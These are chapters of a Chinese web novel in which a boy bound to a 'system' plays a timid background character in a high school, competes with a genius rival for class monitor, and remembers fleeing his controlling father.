《白月光被迫当背景板》
7. 宿命对手
当江霁明推开椅子坐下,将斜挎书包塞进桌洞里时,002终于憋不住了,惊叹地在口袋里晃动:
【大...大人,所以你刚刚都是在演戏吗?】
【不然呢?你以为我被附身了?】
002被噎住了,因为这就是它刚刚的想法。
【别废话,进度如何?】
江霁明将右手撑在头上,左手随意地翻着桌子上被提前摆放好的学生手册,催促002查看人设扮演进度。
垂下的睫羽并不浓密,但是纤长卷翘,单薄的眼皮懒懒地耷拉着,视线随着深褐色眼珠的滚动,在手册上印刷的黑白校规条例上滑动,神情显得十分专注。
实际上,他正有一搭没一搭地和002在聊天。
002快速地翻阅着剧情点和人设扮演的进度条,惊喜地说道:
【大人,背景板人设扮演度居然这么快就达到了10%!!】
【应该是因为在开学第一天,您通过精湛的演技给全班同学留下了一个普通平凡的初印象。】
江霁明并不惊讶这个扮演进度,因为原主在剧本中的笔墨本来就不多。
其中最鲜明的特点之二就是众人眼中平凡的外表和过分社恐以至于害怕和他人视线相接。
不过,说到剧情点——
江霁明仔细回忆了一下,并不记得剧本中还介绍了与原主相关的其他剧情点。
他的记忆力还是不错的,而002从一开始就被他贴上了“不靠谱”的标签,所以他怀疑地问道:
【除了万年老二和被孤立得抑郁症后自我了断,我怎么不记得还有别的剧情点?你不会藏私了吧?】
【冤枉啊大人!当时输送那个时空剧本的时候您还没同意和002绑定呢,当然只有一个剧情内容的梗概啊!不...不过,后来您同意后,我过于高兴,就...就忘了,诶嘿嘿。】
002说完,最后发出了两声“夹夹”的傻笑,试图“萌”混过关。
江霁明嘴角抽了抽,总觉得听到“冤枉啊大人!”这几个字,他像是坐在高堂之上的青天大老爷,而002是跪在下首被官权压迫陷害的无辜囚犯。
【行了别卖萌了,怪恶心的。麻溜点。】
【好嘞大人!我看看,接下来班主任到了之后,会先进行班委的竞选。
这关系到下午即将开始的为期一周的军训的领头人。而您要和学神男二竞选班长一职,然后惨败。】
听到这个剧情点,说实话,江霁明是有点惊讶的。
原主如此社恐自卑的人,竟然能够鼓起勇气克服自己,上台参与班长竞选,将自己主动置于众人的视线中心。
看来他其实是有想过要改变自己的,只是这次失败又狠狠熄灭了他心中那一簇小小的,渴望扭转命运的火苗。
这边一人一统还在讨论。
教室的另一边——
刚刚在那人踏进教室的时候,大家都不约而同地寂静下来,望向门口。
因为每个人的心里都突然响起一个声音:
如果不去看,自己可能会错过什么。
然而,令众人失望的是,没什么特别的,只是一个平平无奇的普通人而已,除了个子很高,脊背挺拔,性格感觉也很怯懦的样子。
刚刚应该只是一个错觉。
而后,大家又继续开始三三两两地热烈讨论起来。
但是,有一道视线迟迟没有收回。
这道视线全程都定在那人身上,看着他找到靠窗的座位,单手拎开椅子坐下。
而在那人一手撑着头,一手翻开学生手册的时候,视线突然顿了顿。
概因那人身上所笼罩着的紧张和不安突然融化于空气之中,取而代之的是一种如夜色下的无风深蓝海面一般的宁静无波的氛围。
沿着这道视线往回看,只见一名男生坐在教室的正中央。
男生的金棕色头发被他用发胶微微向后斜方梳着,露出白皙饱满的额头,显得十分干净利落。
清隽的眉眼被一副银色的细框眼镜盖住,嘴角带着温和的笑意,但是仍然掩不去他眼底的疏离。
而他的五官轮廓也清晰分明,像是被上帝用尺子一寸一寸地仔细描绘而成。一身蓝白色校服被他穿的整齐又落拓,让人瞧不出一丝不妥来。
他的身形坐得笔直,骨节分明的手指正握着一支金色的钢笔。
他身上的一丝不苟的气场却让人以为他的手中握着的是一柄锋利的手术刀,而他即将进行一场复杂的手术。
但此刻男生手中的钢笔却迟迟未落在纸面上,他的视线始终定在教室另一边的那人身上。
直觉告诉他,那人就是姜明——他宿命中的对手。
记忆回到查看广城职中录取名单的那天,男生随意地扫了眼门口张贴的名单。
不出意料,最上面的名字还是他的。
“谢知韫”三个字端端正正地印刷在名单的最上面,名字前面是一个清晰的阿拉伯数字——1。
但是,谢知韫的眼睛所停留的位子,却是下一行的“2”后面的名字——姜明。
后面跟着的中考总分和他仅有两分之差。<
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谢知韫从未装进任何人事物的琥珀色瞳孔里倒映着“姜明”二字。
他紧紧盯着,嘴唇不断咀嚼着这两个字。
姜明。
将明,长夜将明。
此刻,教室内的谢知韫扬起嘴角,突地露出一个真心的笑来。
看着那人平静的侧脸,他猜测:
之前的自卑紧张,是刻意伪装的吗?还是原本就如此?是前者吧。
谢知韫习惯性地抬起右手,扶了扶鼻梁上的眼镜,收回了视线。
教室内白炽灯从他的镜框边缘擦过,形成了银色的光晕,模糊了他眼底的期待。
希望高中的这三年,不要再像初中那般无趣了吧。
他可真是对那些毫无光泽的灵魂感到厌烦了呢,每时每刻都会因自己出生于这样的环境中而感到不甘。
然而每次只要他因无法忍耐而向父亲提出他想要离开广城,到城里去读书。
每到这时,原本对他有求必应,事事关心的父亲都会突然冷下眉眼,严厉的训斥道:
“你别忘了你的根!我们老谢家必须是从这里出去的!你听到没有,我下次不想再听到这种话。”
谢知韫只能低头,听话地回道:
“我知道了,父亲。”
低下的眼睫遮不住的是浓烈的不甘和轻蔑,如同黑色的深水般溢出来,将他的灵魂吞噬,带来窒息的感觉。
这里有人能够配成为他谢知韫的对手的人吗?他为什么还要在这里浪费时间?
他已经对一直勉强自己和蠢人说话感到厌恶了。
毫无疑问,谢知韫有高傲的资本。
他是天才,彻底的天才。
他从不需要花费多少精力,就能轻松地取得其他人所仰望的成绩。
这是无数努力也无法追赶上的天赋。
在这座偏僻的小城镇里,他渐渐感到无趣,对“第一名”感到无趣。
他并不会为了有趣而故意写错几道题,如果因此让其他人的名字挂在他的名字前面,这是谢知韫所无法接受的。
可是,谢知韫的内心其实一直隐隐期待着,期待有一个人能够打败他。
一个真正配将名字放在他谢知韫前面的人。
所以,
姜明同学。
我很期待,期待着你。
或许,之前十几年的无趣都是你出场的铺垫吗?
谢知韫这样想着,嘴角的弧度更大了,金色的钢笔躺在白色的本子上。
本子上用遒劲有力的字迹写了两个字——姜明。
8. 离家缘由
随手将翻开的学生手册放在桌子的右上角,江霁明暗暗皱了皱眉,侧头不着痕迹地朝左边看了看。
总感觉刚刚有人一直在盯着他,而且视线里带着一种令他分外不爽的探究。
结果侧头没发现任何异样,除了个别还在低声私语的学生,大部分人都已经回到了自己的座位上,盯着教室正门,等待着班主任的到来。
江霁明重新低下头,右手食指无意识地摩挲着自己的左手腕骨。
绝对不是错觉,因为那个男人的缘故,他对他人的视线非常敏感。
还没离开京市的时候,江云销经常会派人监视他的行为,被他发现后又美名其曰:
“阿明,这是为了你好。你不能出事。”
可笑,只是保护他的安全需要每天派人记录他和哪些人接触了,说了什么话,做了什么事吗?
那天的记忆还很清晰,发小邀请自己去他家新开的酒吧玩。
一开始江霁明拒绝了,因为在他的印象中,酒吧是一个鱼龙混杂的地方,而且他不喜欢酒精的味道。
过量的酒精会麻痹人的大脑,让人理智消散,甚至展露出最真实的自己。
而江霁明讨厌失去掌控的感觉,因为他不知道自己喝醉后会发生什么什么。
但当他冷漠地甩出一句:
“不去。要是实在没人去就趁早关门大吉。”
每天都撺掇着江霁明去自己新开的酒吧玩,烦不胜烦。
啊,我只是想和你一起去而已。
发小一整天如同被雨打湿了绒毛的可怜小狗,摊在教室的椅子上,连原本一直竖在后脑勺的呆毛都蔫蔫地耷拉下来。
原本江霁明并不在乎,他的心并不会因为别人假装可怜的表情而有一丝一毫的松动。
但架不住发小一整天都蔫在他面前,不管江霁明走到哪,都能看到不远处蹲着一团委屈的身影。
他实在烦的不行,想想算了,看他这么可怜,就怜悯他一回吧。
他果然很讨厌狗这种生物。
江霁明虽然惯常懒散随性,好像对一切都抱着可有可无的态度,但前提是他始终掌握着主导权。
就如之前听到002认为他适合扮演背景板的原因是觉得他的灵魂非常坚韧。那时,他察觉到了其中或许有点古怪,但也并未深究。
虽然当时听到这话,江霁明差点要笑出声来,无他,他觉得自己其实挺脆弱的。
如果他的灵魂足够坚韧,在发现自己父亲的所作所为后,他就不会选择离家出走了。
这种他自以为的无声的反抗,其实只是胆小者的逃避罢了。
害怕知道更多,恐惧于意识到自己之前所经历的一切都是虚假的,如同空中漂浮的泡泡,看似绚丽无比,实则一戳就破。
父母的婚姻美满幸福是假的,那父亲对自己一直以来的宠溺关爱,是真的吗?
还是只当自己是被他豢养在笼中的小猫,偶尔可以纵容小猫的顽劣调皮,但是小猫却始终只是一只猫而已,不是人。
而主人所给予的关心,也只是在小猫不触碰到自己的底线的前提下罢了。
如果小猫某一天狠狠地咬了主人一口,伤口鲜血淋漓,主人大概会将小猫无情地丢在路边,并暗骂一声:
“猫果然是养不熟的。”
当然,这一切只是江霁明的一些无端的恶意臆想。
他无法忘记那天父亲眼里的愤怒,仿佛要把一切都烧成灰烬。就像那些在空中燃烧的情书一样,散发出来的烟雾熏了他的眼。
刚从酒吧回来的江霁明走在别墅前的石子路上,低头看着价值不菲的黑色衬衫袖口边缘粘上的酒渍,嘴角因为不爽身上沾染的酒精气味而微微下撇着。
一个晚上居然能有五个人不小心把酒泼到他身上,当他是蠢货吗?幸好自己躲得快,但也不可避免地被沾上了一点。
江霁明一边暗骂着一边抬起头,饶是一直处变不惊的他,也难免被眼前的场景吓得顿了顿脚步。
江家院子里的路灯一直非常亮,橙黄的灯光轻柔地笼着江霁明,同时,伫立在门前的黑色身影也渐渐出现在他的眼前,无声无息,像是一块沉默的石头。
男人面色苍白,黑色的瞳孔如同一汪寂静的墨色潭水,深得可怕。
岁月没有在这个男人身上留下一丝一毫的印记,他面如白玉,五官清俊,身着一身墨色边绣金纹的唐装,领口紧紧地包裹着脖子。
但男人一直以来都整洁地束起来的黑色长发,此刻却略显凌乱地披在他的肩头。
他的身上带着一种骇人的上位者的气场,透着一股难言的压迫感,这冲淡了他此刻因凌乱的发丝所增添的那一丝凌虐般的美感。
男人的右手一如既往地拄着一根红棕色的海南黄花梨木制成的拐杖。
而左手正神经质地不断盘着腕骨上挂着的一串青色的檀木佛珠。
当江云销看到出现在面前的身影时,他原本深邃无波的眼底突然泛起了一丝涟漪。
“回来了。吃饭了吗?”
只见男人身上一直笼罩着的黑色乌云突然散去,仿佛刚刚在深夜中的那只恶鬼只是一个错觉,是因为江霁明刚刚被酒吧迷幻的灯光花了眼。
江霁明又懒洋洋地抬步朝门口走去,随意地应了声:“嗯,在外面吃了。”
闻言,江云销默默紧了紧左手握着的佛串,圆润的珠子被他按进了手心,无数青色的脉络从白到近乎透明的
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手背上突然浮起,又隐了下去。
“嗯,早点休息。”男人温和地关心着,眼里似是流淌着清澈的水。
他松了手中的佛串,不经意地用左手轻轻抚了抚儿子手肘上的衬衫袖口,又将手背到身后,一派谦谦公子的模样。
而背在身后的手心,原本的白皙被一些圆形的红色印记破坏。
江霁明懒得管身后的老父亲,随意地将身上挂着的黑色皮质书包甩到沙发上,就大喇喇地将自己摔进沙发里。
(江云销:我才36岁。)
书包拉链似是没有完全拉上,露出了一个粉色的信封,露出了心形的一边,上面好像还带着淡淡的香水味道。
而门边正缓缓迈步的江云销低头轻嗅着指尖粘上的酒精味道,眼里的郁色像是粘稠的墨,在漆黑的瞳孔四周缓缓流动着。
而那抹粉色就这样映入他的眼帘,江云销的瞳孔骤缩,似是什么弦突然断了。
他直直地朝着沙发走去,右手快速地移动着拐杖,保持着身体的平衡,黑色的长发在身后扬起弧度。
“这是什么?”江云销低声问着,语气还是如往常一般柔和,却夹杂着一丝风雨欲来之感。
而江霁明没骨头地窝在沙发上,闭目养神。
右手轻轻地揉着太阳穴,晚上酒吧的音乐实在是吵得他脑壳疼。
听到父亲的话,他微微掀开眼皮,瞥了一眼江云销手中紧攥的粉红情书,无所谓地答道:
“当然是情书啊!这还用问啊?老爹,难道你没收到过吗?啧啧,不要太羡慕儿子我啊。”
江霁明一边说,还一边颇为自得地起身拍了拍江云销的肩膀。
15岁的江霁明身高已经有188,而江云销只有183。
儿子微微垂头,随意拍着父亲的肩膀,似是在安慰,又似是在炫耀。
他右手的黑色袖口挽到了手肘,露出极富肌肉线条的白皙小臂,在客厅的灯光下闪着迷人的光泽。
“之前她们给你的都没收过,为什么这次全收了?”江云销没动作,偏着头,盯着手中的信封,任由儿子拍着自己的肩膀,放缓了声音接着问道。
尽管他的声音还是那么温柔,但是江霁明却渐渐收敛了脸上漫不经心的笑。
他收回了手,冷冷地质问:
“你还在派人跟踪我?你之前不是保证不会再这样了吗?”
还没说完,他却突然睁大双眼,伸手想要夺过对方手中的情书。
然而,粉色的情书已经渐渐被火舌吞噬,只剩下一地的灰烬。
就如同这对父子此刻的关系,也摇摇欲坠。
就像这地上的灰。
风一吹,就要散了,无影无踪。
9. 班委竞选
江云销右手中原本撑着的拐杖正斜斜地靠在茶几上,取而代之的是一个银色的打火机。
打火机非常精致,上面刻着一行法文:
Pourmonamour.
给我的挚爱。
这是母亲生前送给自己的打火机。
当时他收到这个打火机,脸色非常的古怪,觉得不可思议:难道妈妈想让我去抽烟?我才10岁啊。
金发的女人似是从他的脸上看出了疑问。
她轻柔地将年幼的江霁明揽进怀里,盯着那双蓝色的眼睛。
那双眼睛和自己非常相似,但也非常不同。
她的眼睛是明亮的宝蓝色,而江霁明的眼睛是深邃的幽蓝色。
“在我们那,女人送男人打火机,就相当于送出了一颗满满的饱含爱意的心。
Honey,你是我此生最爱的人。”
男孩躺在母亲的怀里,她的怀抱非常温柔,他感觉自己像被一阵清风托着,而女人的话语也如一根纤细的羽毛,挠着他的心。
“我会好好珍惜的。”
珍惜母亲的爱。
但是第二天,那个打火机就不见了。
从来没哭过的小江霁明也忍不住暗暗红了眼睛,委屈而愧疚地将自己埋在母亲的怀里,轻声喃喃:
“妈妈,我不小心弄丢了。”
我不是故意弄丢你的爱的。
而女人心疼的捧住男孩白皙软嫩的脸颊,用手指抹去那颗差点要从眼角滚落的珍珠,吻了吻他的额头。
“没关系,我的宝贝,妈妈的爱是不会丢的。”
此刻,江霁明死死地盯着父亲手中的打火机,眼前的一切让他觉得有点荒谬。
“你偷了我的打火机。为什么?”
江霁明从未这样愤怒过,他感觉很糟糕。
他不喜欢被情绪冲昏大脑的感觉,这也是一种失去掌控的表现。
但没等江云销回话,他又讥讽地挑了挑嘴角,冷声嘲道:“算了我不想听。左右不过是为我好。”
“至于为什么收下情书?呵,自然是想谈恋爱了呗~你不喜欢女人,我喜欢。”
没错,江霁明知道自己的父亲不喜欢女人,他的母亲从头到尾都被骗婚了。
不喜欢女人还生下了他,真是可笑。
江霁明已经记不清当时江云销说了些什么了,无非是什么他很爱他,他是自己的父亲,父亲关心儿子没什么不对的云云。
尽管江云销的内心因儿子对自己的揭穿而感到些许慌乱,他的语气还是那么温柔。就算再如何生气,他从不会对自己的阿明说一句重话。
他不愿,也不舍,这是他的珍宝。
但是江霁明挺愿意的,也非常舍得说一些伤人的话。
江云销呆滞地站在客厅里,拐杖不知道什么时候摔到了地上,滚到了沙发底下。
他远远看着儿子愤恨地冲上楼,摔上门的背影。
耳边还回荡着那句冷漠的话:
“恶心,我不想再看见你。”
这话如同锋利的针,直直地扎进江云销的心。
在外人面前,温润矜贵的江家四少,面上永远带着一副优雅有礼的笑容,完全看不出他曾经只是一个住在贫民窟的私生子而已。
就算他的腿脚有碍,但没人敢将视线放在他的右腿上。
敢这样做的人都已经无声地消失在这个世界上了。
但不管面上再如何光风霁月,他知道自己的心是黑色的,戳破了就会流出浓浓的毒液。
可是,每当他看见儿子脸上的笑容时,他感觉自己的心里充斥的不是毒汁,而是蜜糖。
一阵电话的响声突然扯下了他身上紧紧缚着的蛛丝,他缓慢地接起来,然后猛地将手机砸到了墙上。
四分五裂的手机里还能听到秘书焦急的声音:
“总裁,大少他们打算联合起来对付您了。”
“找死。”
江云销阴鸷的视线定在手机上,而后又抬头留恋地望了望江霁明房间的门。
先让阿明冷静一下,过几天再和他谈谈,他会原谅我的。
毕竟,他们是世上最亲密的人了。
他们血脉相连。
他会明白,这世上只有自己的父亲才是真正对他好的人。
直到,他看见江霁明的房间空无一人。
窗口大开,衣柜里的衣服都没动过。
江霁明竟然当晚就从窗户爬了下去,逃走了。
别墅外头的保安难道也都被他收买了吗?
江云销差点捏断了手里的佛串,又马上松了力道,心疼地抚摸着手中青色的珠子。
原本青绿色的佛珠在阴影里,似乎泛着幽蓝色的光。
这是阿明送给自己的,不能弄坏。
高一(1)班的教室里——
从不快的回忆里出来,江霁明打断002在自己脑海里不断盘旋的彩虹屁声音,缓缓问道:
【每完成一个剧情点,有什么奖励吗?资本家总得给手底下的打工人一点阶段性/福利吧。】
不然只有最后那张大饼,没什么动力啊。
002原本正在从自己的数据库里搜索各种词汇,夸赞宿主大人的演技有多好,听到江霁明的话他陷入了沉默。
002:糟糕,主系统没说啊?
迟疑了片刻,002咬咬牙说道:
【大人,当...当然有奖励啦!只要您完成一个剧情点,就可以随机获得一个道具!帮助您更好地完成任务。】
002决定动用自己在出厂的时候,主系统分发的启动源力,来给自己的宿主大人购买有用的道具。
听到002说话前的迟疑,江霁明悄悄翘了翘嘴角。
啊,系统可真是蠢萌蠢萌的,差点要不忍心欺负它了。
江霁明愧疚了一秒,然后愉悦地应了声:
【那就好,我还以为系统都是黑心的资本家呢。】
002(流面条泪):自己还没吃饱就给员工送福利的资本家吗?
这时,一道高挑纤细的身影从门外缓缓进来。
来人是一个很年轻的女人,带着一副红色窄边的眼镜,看起来十分干练。
女人的身上穿了一件很普通的灰色连衣裙,顺滑的黑发一半被扎着,一半直直地垂在背后。
“大家好,我是你们的班主任,我叫盛晴。接下来的三年,就由我带领你们。
当然,身在1班的你们都是这次中考最优秀的学生,所以废话我就不多说了。”
说到这,她顿了顿,伸手扶了扶镜腿,环视了一圈教室。
每个人都认真地抬头看着她,当然,江霁明也不例外
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,他可是个好学生。
“今天下午就会开始军训,长达7天。最后一天会有一个列队表演赛,赛后第一名的班级可以获得1000块的奖金作为班费。”
这次校长说有一个神秘人花了大笔钱投资了学校,所以学校这次非常大方。
听到军训表演赛奖金的金额,几乎所有人都倒吸了一口气。
毕竟,广城只是一个偏僻的小城镇,这里的人大部分都是普通家庭,很少会一次性见到这么多的奖金。
尽管吃惊,底下却并没有发出很大的喧哗声,大家很快就冷静了下来。
坐在窗边的江霁明暗自皱眉,这和剧情里不一样啊。
剧情里不是说军训表演赛的第一名只能获得一个优秀团队的牌子吗?
是谁?那个男人吗?多事。
江霁明不悦地又开始用手指摩挲着腕骨,在心底悄声叫着002:
【002,如果剧情发生了偏移会怎么样?】
【大人,每个小世界的不同平行时空中的剧情都是不同的。
剧本只是初始的设定,但最后结果如何,是无法确定的。
就像打游戏会有许多if线,有HE,BE和OE结局,例如,一个时空中相爱的两人或许在另一个时空是仇敌。
因为剧本中的每个人都是有灵魂的,随时会因为各种因素发生改变。
而您只需要扮演好自己的角色就行,其他外力的改变并不会影响您的任务。】
江霁明很惊讶,总觉得自己难道是上帝的亲儿子吗?
居然不用像别的任务者那样费心维持剧情,失败了也没有惩罚,完成剧情点还有阶段性奖励。
但他很快就接受了,江霁明出生以来就一直顺风顺水的,除了个别事情,基本没遇到过其他烦心事。
很快冷静下来,江霁明按下心里的愉悦,随意地回了不平不淡的三个字:
【还不错。】
不管口袋里开心地转圈圈的002,江霁明又抬起头看向盛晴。
“那么,接下来就是班委竞选了,尤其是班长,这对我们军训最后一天的表演赛非常重要。
因为班长需要站在最前面领队和喊口号。那么,有意愿的同学就上台进行自我介绍。”
话音刚落,就见一道颀长的身影从座位上站了起来。
谢知韫不紧不慢地走到讲台上,身形挺拔,像是夏日里的一杆竹。
他自信而流畅地向全班表述着自己的竞选宣言,嘴角始终挂着一抹温和的笑容,眼底却没什么温度,优雅却又高傲。
他一边说,一边将视线牢牢地黏在底下的一个人身上。
江霁明:……
这么快就已经开始挑衅了吗?男二。
江霁明记得剧情里,男二经常会在原主面前露出一个温和的笑,然后推了推银色的镜框,在原主耳边丢下一句:
“别让我失望。”
可以说是将嘲讽拉满了,连原主那样自卑社恐的人都差点捏断了笔,几乎想起身就破口大骂:
“你他妈很厉害吗?”
而此刻江霁明看着谢知韫脸上温和的笑,感觉拳头也痒痒的。
谢知韫结束了自己的演讲,静静地看着江霁明,继续向自己的对手露着(自认为)友善温和的笑容。
该你了,姜明,同学。
10. 展露真实
演讲完毕后,谢知韫便往右边一站,拿起白色的粉笔,在黑板上端正地写下了自己的名字。
转身将粉笔放进盒子,他一边往下走,一边又侧头扫了江霁明一眼。
他相信,姜明一定也会上台竞选的。
啊,果然,他站起来了。
江霁明完全忽视那道扰人的视线,在原地深深地吸了一口气,又攥了攥右手,在校裤的裤腿上擦了擦。
002:【大人,您连手心的汗都要表演吗!实在是太敬业啦!002好感动呜呜呜。】
江霁明:【闭嘴,别影响我沉浸式表演。】
而后,他迈着缓慢的步伐,走上了讲台。
就像剧本中写的那样,原主第一次鼓起勇气,抬起了头,将眼睛直直地和全班对视。
褐色的眼眸里面所流淌着的,是孤注一掷。
头顶的天花板上有一根细长的节能灯,灯光打在江霁明的身上,在他黑色碎发上撒下一个浅白色的光圈。
他按照剧本中的台词,以不大不小的声音说道:
“大家好,我叫姜明。我很荣幸,站在这里竞选班长一职。虽然我的性格非常...”
说到这,他突然停顿,原本放在讲台上的右手颤了下,喉结上下滚动着,咽了咽口水,又深深吸了一口气,似是终于决定将脆弱的自己暴露在众人眼前。
而这些微不可察的动作,却被坐在下面的谢知韫尽数收入了眼底。
他是真的很紧张吗?这么害怕,为什么还要上台?
谢知韫情不自禁地收了笑容,皱起了眉,眼睛直直地盯着讲台上虽然颤抖,但仍然站地笔直的少年。
不知是因为不满姜明的表现,还是因为心疼姜明将一直隐藏的自己就这样展露,就像是揭开了自己好不容易愈合的伤疤。
“虽然我的性格非常的内向,也很害怕和别人说话。”
“但是,内敛和怯懦,不过是曾经的我。
阿德勒说过:‘共同体感是获得幸福的人际关系所需要的最重要的指标。’”
江霁明的声音清凌凌的,如同拨奏瑶琴,琴音又蕴着一股飘渺的味道,像是雨水冲刷着众人的心,激起了一层水雾,模糊了他们的眼睛。
此刻,讲台上的少年,仿佛蒙上了一层薄纱。
不再是那个带着一副黑框眼镜,低着头不敢看人的少年,那时的他平凡得如同一颗尘土。
路边驶过一辆车,就会扬起一大片尘土。
也不再是那个在众人眼中攥着手,加快脚步,躲避视线,将自己埋入乌龟壳的少年。
此刻的他,周身散发着一股柔和却不刺眼的光芒,褐色的瞳孔里盛满的,是无限的真诚,像太阳一般炽热,简直灼伤了众人的双眼。
“我希望,能够带领高一(1)班,成为一个共同体,带领大家,获得幸福。”
“谢谢大家。”
似是已经耗尽了所有勇气,江霁明匆匆地弯腰鞠了一躬,就快速地转身在黑板上写下了自己的名字。
姜明。
一笔一画,却不似他的人那般内敛,笔锋恣意潇洒,带着一股不羁之感。
姜明,希望给众人带来智慧和光明的未来。
讲台上仿佛有两个身影重合在一起,另一个身影也曾似那般,将自己的脆弱尽数展露在他人眼前。
以为自己真挚的语言能够获得同样真挚的回应。
江霁明放下粉笔的手,暗暗搓了搓手心,随意地环顾了一下四周,不出意料,所有人都陷入了死一般的沉默。
他满意地在心里点了点头,就准备回到座位上。
就在这时,台下突兀地传来了一阵鼓掌的声音。
清脆,响亮,带着一种独特的节奏,就这样传入江霁明的耳中。
是谢知韫。
他还是那样端正的坐着,双手却慢慢地拍着。
他琥珀色的眼瞳宛如秋日里的落叶,被银边的镜框遮挡着,透着一股他人难以察觉的,别样的温柔。
他嘴角也扬起明显的弧度,像是努力想露出一个真诚的笑来,在江霁明的眼里却显得分外刺眼。
而原本众人仿佛被困入了一个深不见底的湖水,此刻却似是突然获得了氧气,纷纷鼓起掌来,想要给予台上的人最热烈的回应。
掌声几乎能掀翻整个教室。
江霁明:又是你。
看到这一幕,江霁明似是感到羞赧,快速地走下台,回到了座位上,没给谢知韫一个眼神。
刚坐下,脑海里就传来了一阵电闪雷鸣的声音,002一边呜呜地发出抽泣声,一边大喊:
【大人,就算别人都不给你投票,002也会给你投票的。呜呜呜,002也想和大人成为共同体,获得幸福,呜呜呜。大人,我选你!】
江霁明听着脑海里像是下起了大雨的电流声,嘴角又忍不住抽了抽,002总有能力让他发现没有最傻,只有更傻。
他冷漠地止住它:
【002,你怎么比我入戏还深?还有,收起你的电子眼泪,我感觉我脑袋要进水了。
我现在担心剧情点可能会出差错。】
说到这,江霁明扭头冷冷地甩了中间的谢知韫一个眼刀子。
刚放下手的谢知韫:?
不过,幸好一切还没脱离江霁明的掌控。
尽管大家都有被他的演讲吓到,可能是没见过如此淳朴的竞选宣言,最后结果还是令他松了一口气。
黑板上的白色粉笔写着:
谢知韫:31票
姜明:26票
高一(1)班一共有60个人,现在教室里有59个人,剧情里的白富美女主因为身体原因,中午才会来报道。
除去他和谢知韫,还剩57票。
居然有这么多人给他投票?
江霁明用手轻轻敲击着桌面,探究地在心里问:
【剧情点完成了吧?嗯,这样应该也算是竞选失败吧?】只是没有惨败。
江霁明的语气十分温和,002却莫名从其中听出了威胁之意:
如果说没有,就鲨了你。
002连忙狗腿地说:
【当...当然,大人,如果您都无法完成,世界上就没人可以完成了!谁说惜败不是惨败呢?在我这里,惜败就等于惨败!】
002一边吹捧着,一边悄悄查看了下自己的电子钱包:
嗯,够够的,还养得起宿主大人。
江霁明一如既往地从欺负002中获得了快乐,用很欣赏002的语气夸了句:
【你,很不错。】
002听到江霁明罕见的夸奖,喜极而泣,又突然在他的脑海里下起了电子大雨。
江霁明:这是搬起石头砸了自己的脚吗?
但过了会儿,江霁明愉悦的心情又消失不见。
因为谢知韫突然举手说道:
“盛老师,我希望姜明同学可以担任副班长一职。
我只要在旁边喊口号就行,
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就由姜明同学来举班牌吧。
学校也没规定举牌和喊口号的必须是同一个人吧。而且,他的身高也很合适。”
盛晴听到这话,也觉得很有道理,眼含欣赏地又看了一眼江霁明,同意了谢知韫的决定。
江霁明:你是导演吗?一直给我加戏。
谢知韫:不用谢。
“那么,姜明同学,你就和谢知韫同学一直去教务处帮大家领取军训服吧。
刚好一个人也搬不过来,你们两个人都高高大大的,应该可以。”
江霁明用舌尖暗暗抵了抵自己的犬牙,轻轻地回了声:
“好的,盛老师。”
就这样,谢知韫终于如愿和姜明肩并肩走出了教室。
两个人的身高相仿,身影被阳光拉的长长的。
其中,右边的身影像是在不经意地靠近左边的身影。
但左边的身影始终和右边的身影保持着一臂的距离。
谢知韫不知为何,感到有点失落。
他压下心底的这份异样的感觉,清了清嗓子,温声说道:
“久仰,姜明同学。”
江霁明:你下一句是不是要说今日相见真是三生有幸。
江霁明不语,他维持着社恐的人设,就微微侧了侧头,表示自己听到了。
谢知韫原本还想说些什么,但一转头就看到江霁明线条流畅的侧脸,黑色镜框下,单薄的眼皮朝下懒懒地耷着,像是专注地在看自己的脚步,对外界的一切都漠不关心,长而卷翘的睫毛在他的脸上洒下一片阴影。
脑海突然空了一瞬,谢知韫干巴巴地舔了舔自己的嘴唇,罕见地觉得词穷。
他又扶了扶自己的镜框,左手无意识地摸着自己的衬衫下摆,原本干净整洁到没有一丝褶皱的衣服,露出了一片深色的印记。
他手心在出汗,为什么?是因为要和此生唯一的对手搭上话的缘故吗?
江霁明半晌听不见下文,不爽地撇了下嘴。
他低着头,眼睛盯着自己被太阳照出来的倒影,心里浮现出几行诗来:
太阳碾压过大地
雪化前,留下纸上旷野
让我们生长
让我们看到自己的倒影
而一旁的谢知韫像是终于找回了声带,他赞赏地抬起脸,说道:
“你,很不错。”
江霁明:……
你怎么还搞抄袭啊?
002:……
你凭什么抢走宿主大人对本系统的夸奖?该死的人类。
哦,不对,该死的男二。
江霁明缓缓地看了旁边人一眼,平淡地应了声:
“嗯,多谢。”
谢知韫:感觉像在和第二个自己对话。
从小到大,谢知韫都追求效率从不听废话。
和别人说话都惜字如金,如果对方无法理解,那就是因为对方太蠢了。
此刻,他觉得姜明比自己还惜字如金,但他不是蠢人。
“嗯,不客气。
谢知韫又干巴巴地吐了几个字。
空气突然又陷入了沉寂。
然而,江霁明正随意地迈着步子,神游天外,灵魂已经飞遍了整个校园。
谢知韫又开始揉着自己的衬衫下摆,试图寻回原来那个走到哪里都能侃侃而谈的自己。
两个人的影子,在某一刻交错了一瞬。
但又或许只是谢知韫的错觉,两个人的影子其实离得很远,很远。
11. 女主出场
就在谢知韫暗自思索,该如何开启一个新的话题,从而自然地拉近和对方之间的距离时,江霁明已经远远地走在了前头。
教务处在一楼,全程不过几分钟的路程,江霁明却觉得已经过了一个世纪。
因为谢知韫已经向他搭话十五次了,每次开头都是:
“你平常怎么学习的?”
“你学习上有什么困难吗?”
“我觉得我的学习还不错。你觉得呢?”
生生将江霁明原本已经飞出天外的灵魂又拽了回来。
总之就是一个行走的学习人,江霁明很想知道女主是怎么喜欢上男二的,他们在一起后也是每天讨论学习吗?
怪不得他谈不了恋爱,不够爱学习。
好学生谈恋爱都是以一起考上清华北大为目标的。
成功甩掉身后暗自思索的谢知韫,江霁明已经走进了教务处。
教务处堆放了许多纸箱,箱子上贴着班级。
军训服装已经按照学生报名表上各自所填写的尺码分发好了,只需要将自己班级对应的箱子搬上去。
高一(1)班一共有三箱,看起来份量挺重的。
江霁明将左右手的校服袖口都挽到了手肘处,露出白皙光洁的小臂。
就在他弯下腰,想要将箱子托起来的时候,另一只手突然按在了他的手臂上。
那只手的指骨瘦削修长,指甲修剪得非常短,净白的皮肤下藏着的青色纹路顺着他的动作浮现出来。
江霁明的手臂上传来一阵微凉而略显潮湿的触感,似是感到不适,他不耐地摆了摆,甩掉了谢知韫的抓着他小臂的手。
“你做什么?”
终于听到江霁明这样带了点情绪的话,不再是之前像个机器人一样自动回复“嗯”“没”“不”,谢知韫心里涌出隐秘的欣喜来。
原本被挣脱后就将手缩了回去的谢知韫又伸出右手,温和地说道:
“我来搬大头吧,我搬不下的你来。”
